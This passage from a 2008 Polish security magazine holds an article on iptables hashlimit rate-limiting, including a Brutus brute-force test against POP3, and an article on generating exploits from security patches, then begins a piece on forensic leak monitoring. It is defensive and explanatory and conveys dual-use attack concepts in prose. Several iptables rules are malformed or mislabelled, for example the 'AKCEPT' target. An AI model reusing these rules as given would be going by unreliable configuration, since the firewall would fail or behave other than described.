
disconnect

from

unknown

[

123.56

.

100.175

]

Listing 5.

Odciążenie serwera za pomocą hashlimit

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

hashlimit

-

m

tcp

-

p

tcp

--

dport

25

hashlimit

\

3

/

min

--

hashlimit

-

mode

srcip

,

dstip

--

hashlimit

-

name

smtp_limit

-

m

state

--

state

NEW

-

j

ACCEPT

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

25

-

m

state

--

state

NEW

\

-

j

LOG

--

log

-

level

info

--

log

-

prefix

"Spam Limit"

iptables

-

A

FORWARD

-

i

<

interfejs

zew

>

-

d

<

ip_serwera

>

-

m

tcp

-

p

tcp

--

dport

25

-

m

state

--

state

NEW

-

j

DROP

background image

OBRONA

58

HAKIN9 9/2008

HASHLIMIT

59

HAKIN9

9/2008

niechcianych przesyłek pocztowych, jak i
prób wykorzystania serwera pocztowego
jako pośrednika w dalszym rozsyłaniu
spamu.

Metod obrony przed tego typu

problemami jest sporo, podstawową
jest prawidłowa konfiguracja
serwera. Standardem już są roboty
sieciowe, które starają się obejść
zabezpieczenia na wszelakie sposoby,
testując metodę po metodzie. Serwer
pocztowy Postfix ma wbudowany prosty
– aczkolwiek skuteczny – mechanizm
obrony, polegający na rozłączeniu
z klientem, który zbyt często się
myli, a w rzeczywistości stara się
znaleźć skuteczną metodę ominięcia
zabezpieczeń.

Listing 3. przedstawia proste dyrektywy

Postfiksa umieszczone w pliku main.cf

Przy takiej konfiguracji serwera Postfix

szybko zauważymy w logach wpisy
przedstawione na Listingu 4.

Wynika z tego, iż serwer prawidłowo

wyłapuje spamerów, można się ucieszyć i
zostawić to tak jak jest. Można też odciążyć
serwer pocztowy od rozmowy z takimi
klientami – najprościej przy pomocy
hashlimit (Listing 5).

Metoda limitowania jest identyczna,

jak w poprzednich przykładach,
zmieniona została tylko wielkość limitu.
Po dokładnej analizie logów serwera
pocztowego można zdecydowanie
powiedzieć, że limit trzech nowych
połączeń jest wartością bardzo
bezpieczną – a wręcz na wyrost.

Zabezpieczenie

przed powodzią pakietów

Opisane powyżej funkcjonalności
znakomicie nadają się do zabezpieczania
wszelakich usług znajdujących się na
serwerze. Generalizując – zabezpieczamy
nasz serwer przed intruzami z Internetu.
Jednakże nic nie stoi na przeszkodzie by
wykorzystać hashlimit do zabezpieczania
obcych serwerów przed poczynaniami
naszych klientów. W dobie wszędobylskich
wirusów coraz częściej niczego
nieświadomy klient, korzystający z naszych
usług dostępu do Internetu, zalewa
pakietami inne sieci. Najczęściej są to
zmasowane powodzie pakietami ICMP lub
SYN, którymi steruje haker korzystający
z furtki w systemie naszego klienta. W

efekcie nasza sieć staje się intruzem
atakującym inną sieć, a przy okazji
taka powódź bardzo skutecznie zatyka
naszą sieć, wskutek czego cierpią inni
użytkownicy.

Naturalnym zabezpieczeniem staje się

ograniczenie ilości pakietów, jakie może
wysłać nasz klient w kierunku Internetu.
Metoda ta często jest stosowana w
celu spowolnienia działania programów

Rysunek 2.

Syn bez Hash

Rysunek 3.

Brutus z hash

Rysunek 1.

Syn z hash

background image

OBRONA

58

HAKIN9 9/2008

HASHLIMIT

59

HAKIN9

9/2008

do bezpośredniej wymiany plików, lecz
naszym celem będzie umożliwienie
klientowi możliwie jak najszybszego
surfowania po Internecie oraz korzystania
z programów p2p, przy równoczesnym
zabezpieczeniem się przed powodziami
pakietów.

Powodzie pakietów to zwykle

połączenia, które nie są uzgadniane
– wysyła się jak największą ilość pakietów,
nie oczekując nawet na ich powrót celem
nawiązania sesji.

Wychodząc z tego faktu, stworzymy

proste reguły iptables:

iptables -A FORWARD -m state --state
ESTABLISHED,RELATED -j ACCEPT

Połączenia, które zostały wcześniej
uzgodnione, przepuszczamy do Internetu,
ponieważ nie spełniają warunku, który
określiliśmy wcześniej – interesują nas
po prostu tylko nowe połączenia, te, które
jeszcze nie zostały nawiązane.

Skoro aktywne sesje działają

bez ograniczeń ilości pakietów,

przystępujemy do ograniczania ilości
reszty pakietów wysyłanych przez
naszych klientów.

iptables -A FORWARD -s ip_klienta
-m hashlimit --hashlimit-name
klienci --hashlimit 30/s --
hashlimit-mode srcip -j AKCEPT

Regułka zezwala klientowi na wysłanie
30 nowych pakietów w jednej sekundzie
– ilość ta nie powinna zablokować pracy
nawet bardzo wymagających programów
p2p.

Ograniczenie nałożone jedynie na

nowe połączenia nie spowoduje spadku
transferu podczas pobierania danych z
Internetu, w skrajnych przypadkach może
jedynie wydłużyć czas rozpędzania się
transferu pliku.

Na koniec dodamy regułę, która

zablokuje resztę nie zakwalifikowanych
dotychczas połączeń.

iptables -A INPUT -i eth2 -p icmp -m
length --length 120:0xffff -j DROP

Hashlimit w akcji

Symulowanie włamania na skrzynkę
pocztową przy wykorzystaniu bardzo
starego ale wciąż popularnego narzędzia
brutus. Program korzystając z metody brute
force stara się odgadnąć hasło do skrzynki
e-mail (pop3 port tcp 110).

Jak widać program raportuje iż udaje

mu się przetestować 3,3 hasła na sekundę.
W tym samym czasie przeprowadziłem
pomiar ilości prób nawiązania połączenia z
serwerem pop3.

Jak widać do serwera dociera ok.

10 prób połączenia na sekundę. Teraz
wykonamy dokładnie ta samą operację z
tą różnicą iż serwer pop3 będzie chroniony
regułą hashlimit według wcześniejszych
opisów. Program brutus raportuje w tym
momencie test 0,13 hasła na sekundę,
bardzo wymownie przedstawia to ilość
prób połączenia z serwerem pop3.

Jak widać ograniczenie działa

doskonale, z 10 połączeń na sekundę
zeszliśmy do 5 na minutę, pozostaje
jedynie życzyć powodzenia włamywaczowi
który stara się włamać na nasze konto
e-mail metodą brute force. Oczywiście w
ten sposób zabezpieczamy się nie tylko
przed atakiem brute force czy słownikowym
ale także i może przede wszystkim
przed atakiem DoS. Podobne metody
zabezpieczeń oferują sprzętowe ściany
ogniowe, ale czy warto wydawać ogromne
kwoty na osprzęt z górnej pułki cenowej?
Myślę iż lepiej być administratorem, który
nie boi się wyzwań i nowych rozwiązań.

Mam nadzieję iż każdego przekonałem

do korzystania z hashlimit podczas
budowania własnych zapór ogniowych.

Podsumowanie

Jak widać, pomoc hashlimit przy tworzeniu
własnej ściany ogniowej jest nieoceniona,
zarówno w przypadku zapory broniącej
dostępu do pojedynczej maszyny jak i całej
sieci komputerów klienckich.

Życzę owocnych konfiguracji i wielu

pomysłów podczas dostrajania rozwiązań,
które maja ustrzec przed problemami
nasze sieci.

Jarosław Radziszewski

Jest absolwentem Politechniki Śląskiej, administratorem

sieci komputerowych. W wolnych chwilach stara się

prowadzić serwis www.antynet.pl. Obecnie pełni funkcję

Kierownika Działu Informatyki SPSK nr 1 im. Prof. S.

Szyszko ŚUM w Katowicach.

Kontakt z autorem: amon@debacom.pl

Rysunek 4.

Brutus bez hash

W Sieci

http://www.netfilter.org – strona domowa projektu netfilter,
http://pl.wikipedia.org/wiki/Atak_brute_force – opis ataku brute force,
http://pl.wikipedia.org/wiki/DDoS – opis ataków DoS oraz DdoS,

http://antynet.pl – zagadnienia związane z pisaniem reguł iptables.

background image

60

OBRONA

HAKIN9 9/2008

W

iele czasu w dyskusjach o
bezpieczeństwie informacyjnym zajęły
debaty o tym, co dokładnie miałby

zrobić uczciwy, dobroduszny człowiek w sytuacji,
gdy wykryje poważną podatność w popularnym
oprogramowaniu. Osoba niezorientowana w tego
typu rozważaniach mogłaby naiwnie zapytać:
No jak to co? Natychmiast zgłosić to autorom!
Zależy im na jakości swojego oprogramowania,
więc szybko przygotują poprawkę, dostarczą ją
użytkownikom i wszyscy będą szczęśliwi. Poza
– naturalnie – osobnikami, którzy również znali tę
podatność i wykorzystywali ją do swoich niecnych
celów, ale o to przecież właśnie chodzi.

Życie pokazało wielokrotnie, że sprawa

nie jest taka prosta. Zdarzało się nawet, że
osobom pragnącym pomóc producentom
oprogramowania czy administratorom danych
usług dziękowano poprzez... skierowanie
przeciwko nim zarzutów kryminalnych. Ujawnienie
podatności zawsze bije w czyjeś interesy, ma
konsekwencje nie tylko techniczne, ale także
marketingowe, polityczne, personalne. Często
wiąże się z sugerowaniem czyjejś niekompetencji
czy niedbalstwa. Zapewne dlatego nierzadko
zdarza się, że zgłoszony błąd jest ignorowany,
bagatelizowany czy też łatany w najtańszy
i najszybszy, ale niekoniecznie technicznie
najlepszy sposób.

Stąd też wzięła się koncepcja pełnego

ujawnienia (ang. full disclosure), publicznego
ujawnienia szczegółów podatności wszystkim

CEZARY G.

CEREKWICKI

Z ARTYKUŁU

DOWIESZ SIĘ

jakie efekty uboczne ma

udostępnienie poprawki

krytycznego błędu

bezpieczeństwa,

czy możliwe jest automatyczne

generowanie exploitów na

podstawie patchy,

jakie nowe wyzwania stawia

to przed producentami

oprogramowania.

CO POWINIENEŚ

WIEDZIEĆ

wskazana jest znajomość

podstaw informatyki.

zainteresowanym. Ma to w zamierzeniu wywrzeć
presję na dostawcy oprogramowania bądź
usługi, aby ten możliwie szybko – i możliwie
dobrze – poprawił błędy i uniemożliwił dalsze
ich wykorzystywanie. Podejście to jest mocno
kontrowersyjne, ponieważ dysponując taką
informacją nawet mało zaawansowani, ale pełni
złych chęci ludzie będą w stanie wyrządzić wiele
szkód. Nie mówiąc już o szkodach, które mogą
spowodować osoby bardziej zaawansowane
(choć nie mniej złośliwe).

Ściera się z nią koncepcja odpowiedzialnego

ujawnienia (ang. responsible disclosure), która
w założeniu jest bardzo podobna, ale zawiera
kilka istotnych różnic. Celem jest doprowadzenie
do poprawienia błędu przez odpowiedzialną
stronę przy możliwie niskich kosztach ubocznych.
Publicznie ujawniane są tylko ogólniki, producent
otrzymuje pełną wersję opisu luki oraz czas na
przygotowanie poprawki. Jeśli wykorzystanie
podatności daje się w jakiś sposób zablokować
(np. poprzez odpowiednie zmiany konfiguracyjne
albo inne tymczasowe rozwiązanie), adekwatne
instrukcje są od razu publicznie ujawniane. Na
przykład, gdyby odkryto podatność w danej
implementacji protokołu RPC, zaleconoby
administratorom zablokowanie tej usługi na
firewallu (co swoją drogą i tak powinni zrobić, jeśli
jej nie używają).

Oczywiście może się zdarzyć, że producent

jest zbyt niewrażliwy na kwestie związane z
bezpieczeństwem i nie będzie zainteresowany

Stopień trudności

Automatyczne

generowanie

exploitów

Dowiedz się jakie są efekty uboczne poprawek krytycznego błędu

bezpieczeństwa i uważaj bo atak na niezaktualizowaną instalację

jest banalnie prosty!

background image

61

NOWY FRONT WYŚCIGU ZBROJEŃ

HAKIN9

9/2008

szybkim rozwiązaniem problemu. Dlatego
najczęstszym podejściem jest uprzedzenie,
że po upływie określonego czasu wszystkie
szczegóły dotyczące podatności zostaną
podane do publicznej wiadomości.

Piłeczka jest teraz po stronie

producenta. Załóżmy, że poprawka została
przygotowana. Powstaje jednak pytanie,
jak ją właściwie rozdystrybuować? Jak
się okazuje, pytanie jest tylko pozornie
banalne.

Patch jest groźny

Zacznijmy od prostej obserwacji. Poprawka
błędu krytycznego z punktu widzenia
bezpieczeństwa systemu zawiera w sobie
informację, z której można wywnioskować,
jaki błąd jest przez nią poprawiony. Jeśli
porównamy oryginalny plik z plikiem
zmodyfikowanym przez patch, możemy
odkryć problem, z którym autorzy
poprawki się zmagali. Na przykład, jeśli
analiza różnic wykaże, że w nowej wersji
kodu pojawił się fragment weryfikujący
długość wejścia i rzucający wyjątek w
przypadku, gdy jest on dłuższy niż jakaś
maksymalna dopuszczalna wielkość, to
można przypuszczać, że poprawiono
właśnie podatność typu buffer overflow.
Jeśli pojawił się kod obsługujący jakieś
konkretne dane wejściowe, to warto się
przyjrzeć, jak zareaguje na nie oryginalna
aplikacja.

Jest chyba oczywiste, jak z nowo

nabytą wiedzą postąpi czarny kapelusznik.
Od razu napisze exploita, przetestuje
go w swoim środowisku i wykorzysta
przeciwko systemowi, który jeszcze nie
zainstalował najnowszej poprawki. Wiele
aplikacji aktualizowanych jest ręcznie.
Napastnik zatem może mieć całkiem
dużo czasu na analizy, testy oraz szukanie
ofiar. Jednak nawet w przypadku, gdy
mowa o systemie posiadającym moduł
automatycznej aktualizacji, pomiędzy
momentem pojawienia się poprawki a jej
zainstalowaniem na danym komputerze
potrafi upłynąć bardzo dużo czasu.

Po pierwsze, komputery bywają

długotrwale wyłączone (np. stacjonarna
maszyna, której właściciel wyjechał
na narty). Po drugie wiele komputerów
(np. laptopy) nie zawsze ma połączenie
z Internetem, nawet jeśli są używane
systematycznie. Po trzecie, ciągle
pojawiają się w sieci maszyny ze starymi

wersjami oprogramowania, które np.
zostało zainstalowane z płyty DVD albo
podniesione z backupu typu Norton
Ghost i dopiero zostało podłączone do
Internetu w celu aktualizacji. Po czwarte,
nawet maszyny ciągle podłączone
do sieci mogą mieć różne ustawienia
automatycznej aktualizacji i np. sprawdzać
je raz w tygodniu. Po piąte, nawet gdyby
wszystkie maszyny zaczęły ściągać
poprawkę natychmiast po jej pojawieniu
się, to w przypadku popularnego

oprogramowania infrastruktura sieciowa
zapewne mocno ograniczyłaby
ilość jednoczesnych pobrań i część
użytkowników na pewno musiałaby trochę
dłużej poczekać na aktualizację.

Podsumowując, czas dystrybucji

poprawek zawsze będzie większy od
zera, podobnie jak czasowe okno
potencjalnego ataku. A nawet gdy już
większość użytkowników załata swoje kopie
oprogramowania, ciągle będą się pojawiać
w sieci maszyny podatne.

Rysunek 1.

Architektura klient-serwer

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

SERVER

Rysunek 2.

Architektura peer-to-peer

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

SERVER

SERVER

SERVER

SERVER

background image

OBRONA

62

HAKIN9 9/2008

NOWY FRONT WYŚCIGU ZBROJEŃ

63

HAKIN9

9/2008

Dystrybucja poprawek

Wiele systemów informatycznych zawiera
moduł automatycznej aktualizacji.
Taki moduł regularnie sprawdza w
sieci, czy pojawiły się nowe poprawki
do chronionego systemu, następnie
ściąga je oraz instaluje. Dla napastnika
występuje tu kilka możliwych okazji do
nadużyć. Można spróbować podszyć
się pod serwer zawierający poprawki i
wystawić własną aktualizację, którą na
przykład będzie program przejmujący
kontrolę nad zainfekowanym przezeń
komputerem. Jedno z możliwych
podejść to zainfekowanie serwera DNS,
aby poprawny adres zaprowadził do
spreparowanej maszyny. Można się przed
tym zabezpieczyć poprzez używanie
adresów IP zamiast nazw domenowych,
a jeszcze lepszym rozwiązaniem jest
zastosowanie odpowiedniego certyfikatu.
Domena oraz odpowiadający jej numer
IP będą podpisane cyfrowo, a nad
bezpieczeństwem transakcji będzie czuwać
zaufana trzecia strona (firma certyfikująca,
np. VeriSign).

Większym problemem jest jednak

kiepska skalowalność klasycznej
architektury klient-serwer. Przy protokołach
takich, jak FTP czy HTTP rozkład obciążenia
sieci jest asymetryczny. Klienty rywalizują
o zasoby serwerów, które stanowią wąskie
gardło całego systemu. Klient klientowi
wilkiem jest
. Nie mają możliwości pomóc

sobie wzajemnie, mogą natomiast sobie
przeszkadzać. Mirrorowanie serwerów
jest rozwiązaniem kiepsko się skalującym,
ponieważ o serwerach zwierciadlanych
trzeba wiedzieć aby z nich skorzystać, a
granulacja jest na poziomie całego pliku.
Przy co bardziej pechowym układzie może
się zdarzyć, że 80% downloaderów będzie
obciążać jeden serwer, podczas gdy pięć
jego mirrorów będzie pracować na ćwierć
gwizdka. Automatyczne przydzielanie
mirrora też jest jedynie najprostszym z
możliwych rodzajów load balancingu, bo
jest to tzw. connection-time load balancing,
a więc rozłożenie obciążenia w momencie
połączenia. Najczęściej wybierany jest
topologicznie najbliższy serwer. Ma to sens,
gdy rozkład topologiczny użytkowników
pobierających w danej chwili plik jest mniej
więcej taki, jak rozkład serwerów, ale gdy
np. w polskim portalu pojawi się news o
aktualizacji popularnego programu, to cały
ruch w rezultacie wygenerowany zostanie
skierowany do polskiego serwera, mimo że
w tym czasie w USA jest noc i ich serwery
się nudzą.

Szczytowym osiągnięciem w dziedzinie

rozkładania obciążenia są rozwiązania
typu peer-to-peer. Stanowią one odejście
od hierarchicznej architektury klient-
serwer : tu każdy jest jednocześnie
klientem i serwerem, choć istnieją też
serwery koordynujące. Klienty już nie
rywalizują, ale współpracują w ściąganiu

określonych plików. Oprogramowanie
klienckie i serwerowe sieci peer-to-
peer automatycznie tworzy i aktualizuje
rozproszoną bazę danych plików, pozwala
też na jej przeszukiwanie. Pliki dzielone
są na fragmenty i to na ich poziomie
odbywają się kluczowe operacje. Każdy
klient każdy ściągnięty przez siebie
fragment automatycznie udostępnia innym.
Dzięki temu plik sam się wielokrotnie
mirroruje, ale na poziomie swoich
fragmentów. W efekcie, gdy poziom
nasycenia sieci fragmentami będzie już
odpowiednio duży, kolejne klienty mogą
skompletować całość nigdy nie łącząc się
z oryginalnym źródłem i nigdy nie zajmując
jego zasobów.

Taka architektura jest jednocześnie

dużo bardziej odporna na wszelkiego
rodzaju awarie. Serwery koordynujące są
liczne, geograficznie odległe i całkowicie
ze sobą wymienne. Musi działać co
najmniej jeden z nich, by cała infrastruktura
funkcjonowała. Zadaniem koordynatora
jest wszystko poza samym procesem
pobierania – a więc ogół problematyki
synchronizacyjnej. Dzięki temu koordynator
jest w stanie obsłużyć znacznie więcej
klientów niż – w takich samych warunkach
– serwer FTP. Najcięższa forma
komunikacji, czyli sama wymiana plików,
odbywa się pomiędzy uczestnikami sieci,
nie obciążając serwerów.

Przy zastosowaniu sieci peer-to-

peer w tej samej jednostce czasu plik
rozpropaguje się na dużo większą liczbę
komputerów niż w przypadku architektury
klient-serwer. W kontekście skracania
czasu propagacji poprawek błędów
krytycznych ta ciekawa własność sieci
peer-to-peer wydaje się być szczególnie
interesująca.

Automatyczne

generowanie exploitów

W 2008 roku panowie Brumley,
Poosankam, Song oraz Zheng
opublikowali pracę pod tytułem Automatic
Patch-Based Exploit Generation is
Possible: Techniques and Implications
(automatyczne generowanie exploitów na
podstawie patchy jest możliwe: techniki i
zastosowania).

Problem postawiono następująco:

mając program P oraz jego poprawioną
wersję P', należy automatycznie wykryć,

Rysunek 3.

Program Bindiff pokazuje różnice pomiędzy różnymi wersjami plików

wykonywalnych

background image

OBRONA

62

HAKIN9 9/2008

NOWY FRONT WYŚCIGU ZBROJEŃ

63

HAKIN9

9/2008

jaką podatność P poprawiono w P'
oraz stworzyć program próbujący ją
wykorzystać. Autorzy napisali prototyp
takiego programu i przetestowali go
na pięciu programach Microsoftu
aktualizowanych poprzez Windows Update.
Udało im się stworzyć kilka działających
exploitów, jednak ich najważniejszym
osiągnięciem było wykazanie, że tego typu
atak jest możliwy.

Za cel autorzy obrali sobie błędy

walidacji wejścia. Jak wiemy, wiele ataków
polega na podaniu na wejście programu
odpowiednio spreparowanych danych:
tak działa cała rodzina ataków typu buffer
overflow, cała rodzina różnego rodzaju
injections (SQL Injection, Code Injection,
PHP Injection, Shell Injection, Cross Site
Scripting itd.).

Prototyp analizuje plik oraz jego

poprawioną wersję i wyszukuje dodany
do niego kod weryfikujący. Szczególnie
skupiono się na bibliotekach, ponieważ
84% poprawek Microsoftu dotyczących
bezpieczeństwa, które przeanalizowali
badacze, dotyczyło bibliotek. Do
porównywania binarnych wersji
programów posłużono się programami
BinDiff oraz EBDS (w Ramce
W Sieci umieszczono linki do stron ich
producentów). Następnie program stara
się znaleźć wejście, które w poprawionej
wersji będzie odfiltrowane.

Innymi słowy, problem generowania

exploita został sprowadzony do
znalezienia w P' nowych testów wejścia i
wygenerowania programu podającego
takie wejście, jakie w poprawionej wersji
programu nie zostałoby zaakceptowane.
Naturalnie takie podejście nie gwarantuje,
że stworzony program będzie exploitem
z prawdziwego zdarzenia, będzie raczej
kandydatem na exploita, wymagającym
jeszcze przetestowania.

Autorom udało się na swoim prototypie

skutecznie wygenerować kilka sensownych
exploitów, z czego jeden z nich w zaledwie
30 sekund! Zważywszy, że prototypy nie są
raczej nigdy optymalizowane pod kątem
szybkości działania, jest to wynik robiący
wrażenie.

W Tabeli 1. zamieszczono przykład

poprawki zabezpieczającej przed błędem
przepełnienia zmiennej całkowitej. W
linii 5 dodano kod weryfikujący długość
zmiennej s i generujący błąd w przypadku,

gdy jest ona zbyt duża. Takich właśnie
sekwencji kodu poszukuje prototypowy
generator exploitów.

Cóż można zrobić?

Czas propagacji poprawek na pewno
można skrócić poprzez zastosowanie
automatycznej aktualizacji oraz sieci peer-
to-peer. Jednak o ile byśmy tego czasu
nie skrócili, zawsze zostanie go dość,
by przeprowadzić atak. Zaproponowano
jeszcze jedno rozwiązanie tego typu,

tj. minimalizujące wielkość okna ataku.
Akademicy w takich sytuacjach zawsze
zastanawiają się, czy dałoby się jakoś
posłużyć bogatym dorobkiem kryptografii.
No i oczywiście, dałoby się. Patche
miałyby być dystrybuowane w postaci
zaszyfrowanej. Dopiero po upływie
jakiegoś czasu, gdy można będzie
przypuszczać, że większość systemów już
ją ściągnęła, dystrybuowany byłby klucz.
Klucze, jak wiadomo, są bardzo małe
jak na standardy downloadu, więc ich

Rysunek 4.

Bindiff potrafi też pokazać wyniki w postaci diagramu

Rysunek 5.

Program eEye Binary Diffing Suite (EBDS) wyszukuje zmiany w kodzie

background image

OBRONA

64

HAKIN9 9/2008

propagacja byłaby błyskawiczna. Wyścig
między napastnikiem a administratorami
systemów zacząłby się dopiero w
momencie udostępnienia klucza, więc z
pewnością byłby dramatycznie krótszy.

Minusem takiego podejścia jest

spowolnienie całego procesu propagacji
poprawek. Skorzystają na tym ci, którzy już
wcześniej znali błąd i aktywnie wykorzystują
go do prowadzenia nielegalnej działalności.
Dodatkowo nie da się nie zauważyć, że
wszystkie techniki sprowadzające się
do skracania okna ataku nie rozwiązują
problemu, tylko przenoszą go gdzie indziej.
Maszyna na stałe podłączona do sieci, o
ile nie nastąpi jakiś drastyczny postęp w
produkcji automatycznych generatorów
exploitów, może się czuć bezpieczna. Ale
co z pozostałymi przypadkami? Jeśli ktoś
rozpozna dziurę w systemie na podstawie
analizy poprawek, zawsze będzie mógł
zapolować na maszyny jej nie posiadające
– instalowane z CD/DVD, przywracane z
naiwnego backupu, podłączone do sieci
po jakimś okresie nieaktywności (sen,
wyjazdy itd.).

Kolejnym rozwiązaniem miałoby

być zaciemnianie kodu poprawek,
aby ich analiza była możliwie trudna
– zarówno w przypadku manualnym jak i
automatycznym, ale zwłaszcza tym drugim.
Jest to jednak trudne do przeprowadzenia.
Idea nie jest nowa, każdy producent
komercyjnego oprogramowania chętnie

zabezpieczyłby swoje produkty przed
analizą ich kodu, gdyby to było takie
proste. W przypadku walki z piractwem
chodzi jednak raczej o analizę manualną,
której na dłuższą metę zablokować się
nie da. W przypadku walki z automatami
analizującymi zmiany w kodzie można
zrobić dużo więcej. Automaty są
głupie i łatwiej je wyprowadzić w pole.
Wprowadzenie dużej liczby nieznacznych
zmian w kodzie z pewnością utrudniłoby
pracę co bardziej naiwnych implementacji.

Jednak pojawienie się z czasem

lepszych analizatorów, skupiających
się bardziej na warstwie semantycznej,
wymagałoby już bardziej wyrafinowanych
technik zaciemniających. Wydaje się
więc, że APEG może się okazać nowym
frontem wyścigu zbrojeń między
obrońcami systemów informatycznych oraz
pragnącymi je spenetrować napastnikami.

Autorzy pracy rozważali przede

wszystkim przypadek oprogramowania
closed source i analizy kodu
asemblerowego. W przypadku
oprogramowania FLOSS zagadnienie jest
o klasę trudniejsze, ponieważ napastnik ma
do dyspozycji nie tylko z natury niełatwy
w analizie kod wynikowy, ale również – a
wręcz przede wszystkim – kod źródłowy.
Zaciemnianie kodu źródłowego raczej
nie wchodzi w grę. Po pierwsze, byłoby
to strzelanie sobie w stopę: im kod jest
bardziej zaciemniony, tym trudnej jest

się w nim połapać nawet jego autorowi.
Programowanie jest obecnie wystarczająco
skomplikowane, by zapanowanie nad
dużym projektem i tak nie było zadaniem
łatwym. Po drugie, zaciemnianie kodu
źródłowego jest skrajnie sprzeczne z ideą
open source. Nie po to udostępnia się
wszystkim kod źródłowy, aby nikt nie był w
stanie go przeanalizować.

Zasada Kerckhoffsa mówi, że

kryptosystem powinien być bezpieczny
nawet wówczas, gdy napastnik dobrze
go zna. Innymi słowy, bezpieczeństwo
kryptosystemu powinno zależeć od
tajności łatwego do zmienienia klucza, a
nie tajności samego kryptosystemu, który
jest dużo trudniej modyfikować. Reguła
ta znakomicie daje się generalizować na
wszystkie systemy informatyczne i dlatego
leży ona u podstaw filozofii open source.

Z jednej strony może się więc wydawać,

że oprogramowanie FLOSS zawsze będzie
bardziej podatne na techniki APEG. Z drugiej
strony, jego ogólnie dość duża wrażliwość
na problematykę bezpieczeństwa i
związane z tym stosowanie ogólnych
zasad ograniczania efektów potencjalnych
kompromitacji w pewnym zakresie utrudnia
stosowanie wszelkiego rodzaju exploitów.
Ponadto nic nie stoi na przeszkodzie, by
metody aktualizacji typu apt-get wzbogacić
o omawiane wcześniej techniki obrony
przed APEG.

Podsumowanie

Brumley, Poosankam, Song oraz Zheng
udowodnili, że automatyczne generowanie
exploitów na podstawie analizy zawartości
patchy (APEG) jest możliwe. Ten wynik
stawia wyzwanie aktualnie stosowanym
rozwiązaniom automatycznej aktualizacji
oprogramowania: pojawiło się nowe
pole wyścigu zbrojeń w odwiecznej
wojnie informacyjnej. Możemy się
spodziewać powstania nowych, coraz
lepszych systemów APEG, a z drugiej
strony dalszego hardeningu systemów
automatycznej aktualizacji.

Cezary G. Cerekwicki

Autor jest z wykształcenia informatykiem i politologiem.

Pracował jako projektant, programista, administrator,

konsultant, tłumacz, koordynator międzynarodowych

projektów, dziennikarz i publicysta. Pisał programy w

dziesięciu językach programowania (od asemblerów po

języki skryptowe), w czterech systemach operacyjnych, na

dwóch platformach sprzętowych.

Kontakt z autorem: cerekwicki@tlen.pl

W Sieci

• Oryginalny artykuł o automatycznym generowaniu exploitów – http://www.cs.cmu.edu/

~dbrumley/pubs/apeg.html,

• Bindiff – program porównujący kody binarne programów – http://www.zynamics.com/

index.php?page=bindiff,

• EBDS – kolejne rozwiązanie znajdujące różnice między skompilowanymi programami –

http://research.eeye.com/html/tools/RT20060801-1.html.

Tabela 1.

Przykład programu oraz jego poprawki

Program oryginalny P

Program poprawiony P'

if ( inpu t % 2 == 0) goto 2 else goto 4 ;

if ( input % 2 == 0) goto 2 else goto 4 ;

s := input + 2;

s := input +2;

goto 5 ;

goto 5 ;

s := input + 3;

s := input +3;

<nop>

if ( s > input ) goto 6 else goto ERROR;

ptr := realloc ( ptr , s ) ;

ptr := realloc ( ptr , s ) ;

dalsze operacje na wskaźniku ptr

dalsze operacje na wskaźniku ptr

background image
background image

66

BEZPIECZNA FIRMA

HAKIN9 9/2008

I

nformatyka śledcza na rynku polskim jest
stosunkowo nową dziedziną. Wśród osób, które
spotkały się z tym pojęciem, występuje bardzo

niska świadomość odnośnie możliwości przez nią
oferowanych. A przecież wyciek istotnych informacji
jest obecnie największym zagrożeniem dla
biznesu. Mówiąc jednak wyciek, na ogół myślimy
o włamaniu do sieci lub popularnym ostatnio
zagrożeniu tzw. malwarem. Często zapominamy,
że ponad 75% informacji, które wyciekły w 2007
roku z firm, zostało skradzionych przez nielojalnych
pracowników. Tego typu problemami zajmuje się
informatyka śledcza i dedykowane jej rozwiązania.

Według badań zawartych m.in. w raportach

Forrestera, wykradzione informacje w prawie
połowie przypadków opuszczają firmę na różnego
rodzaju urządzeniach przenośnych, takich jak:
klucze USB, odtwarzacze MP3, karty pamięci,
urządzenia PDA oraz telefony komórkowe. W
mniejszym stopniu dane wyciekają również na
laptopach oraz nośnikach optycznych CD/DVD.
Oczywiście także Internet wykorzystywany jest
w tym celu z powodzeniem, bowiem oferuje on
wiele usług umożliwiających przesłanie poufnych
informacji osobom trzecim. Są to najczęściej:
poczta internetowa, serwery FTP, wirtualne dyski
oraz inne oprogramowanie umożliwiające
przesyłanie tekstu bądź plików. Dobrym
przykładem są również komunikatory internetowe,
zazwyczaj nadmiernie pochłaniające czas
przeznaczony na pracę i pozwalające na szybki
transfer wiedzy poza firmę.

PIOTR FAJ

Z ARTYKUŁU

DOWIESZ SIĘ

o problemie wyciekających

wewnętrznych danych,

o budowie i funkcjonalności

oprogramowania platformy

informatyki śledczej -

Spector360,

jak w intranecie odnaleźć ślady

naruszeń bezpieczeństwa

informacji.

CO POWINIENEŚ

WIEDZIEĆ

powinieneś znać podstawy

zasad bezpieczeństwa

informacji,

powinieneś znać podstawy

działania sieci komputerowej w

organizacji.

Oczywiście, w tym momencie można

powiedzieć: wyłączmy USB, zablokujmy
komunikatory, filtrujmy pocztę. Ale czy zawsze jest
to możliwe? Trudno ograniczyć administratorów
lub grafików odpowiedzialnych za nasze strony
internetowe, a wręcz nie da się tego zrobić np.
w przypadku outsourcingu niektórych usług
związanych z naszymi serwerami. Co więcej, brak
możliwość korzystania z niektórych programów bądź
urządzeń peryferyjnych może znakomicie utrudnić
pracę oraz zmniejszyć wydajność pracownika.

Specjaliści od informatyki śledczej potrafią

gromadzić dowody zdarzeń występujących
w świecie elektronicznym i większość
problemów związanych z nieuprawnionym
udostępnieniem informacji zapewne znajdzie swoje
odzwierciedlenie w systemie sprawcy. Dzięki temu
możliwe będzie zgromadzenie dowodów nawet do
celów postępowania sądowego. Ale informatyka
śledcza zakłada również rozwiązania prewencyjne,
które pozwalają zapobiegać takim incydentom,
a w przypadku ich wystąpienia – potrafiące szybko
odpowiedzieć na pytanie: Jak to się stało?

Idea monitoringu

W świecie niewirtualnym monitoring nie jest niczym
nadzwyczajnym. Kamery są wszędzie, obserwowane
jest niemal wszystko. Również świat wirtualny nie
jest pozbawiony tej idei. Monitorujemy procesy, ruch
sieciowy, dostęp do dokumentów. Ale takie analizy są
ślepe na nadużycia związane z np. wykorzystaniem
